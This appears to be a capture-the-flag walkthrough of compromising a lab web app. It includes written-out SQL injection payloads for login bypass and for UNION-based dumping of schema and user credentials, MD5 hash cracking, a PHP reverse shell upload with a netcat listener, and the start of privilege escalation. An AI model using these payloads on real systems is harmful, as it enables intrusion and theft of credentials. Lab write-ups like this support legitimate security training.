Let's put the IP to the web browser
Got a login form
Then I click sign up now
After making an account and log in
Exploitation
SQL injection
I tried few tries of SQL injection and successfully got 1 injection using this command
admin' or '1'='1'#
Then I open up Burp and intercept the welcome.php page and send it to repeater.
Then I tried using UNION SELECT and test how many tables are available
Anonymous' UNION SELECT 1,2,3#
The query make a response to us and it has 3 databases
Then I use this query to extract all the database name
Anonymous' UNION SELECT GROUP_CONCAT(SCHEMA_NAME),2,3 FROM information_schema.schemata#
We got few here to see what inside.
After extracting every databases, I found out that database that have interesting tables is webapphacking by usinig this query
Anonymous' UNION SELECT GROUP_CONCAT(TABLE_NAME),2,3 FROM information_schema.tables WHERE table_schema = "webapphacking"#
2 table has been found which is books and users
After that, I extract both tables together using this query
Anonymous' UNION SELECT GROUP_CONCAT(TABLE_NAME, ':', COLUMN_NAME),2,3 FROM information_schema.columns WHERE table_schema = "webapphacking"#
Got a lot of things, let's copy it and put it inside a file
Then we can use sed to replace the comma to newline which the command looks like this
cat tables | sed 's/,/\n/g'
Then we can extract each of the columns name, found out the most interesting one is user and password
Anonymous' UNION SELECT GROUP_CONCAT(user, ':',pasword),2,3 FROM webapphacking.users#
Then we got a very long result from the query, copy it to a file and use sed command to separate it properly
John
As we can see it is all md5 hash so we can put it to this website to crack cause john is cracking way too slow!
Then we can log in with the superadmin account
Got a website that leads us to upload a file
Reverse Shell
We can go to this website and grab the php reverse shell file
Then, we need to change the IP and the port inside the file
After that, upload to the server
Then, we go to the /upload directory that we discovered using dirb just now
First, we need to set up a listener at our machine
Our machine
nc -nlvp 4444
As we can see here we got a file, click the reverseShell file
Privilege Escalation
Go to the /home/legacy directory and we can see a file called touchmenot
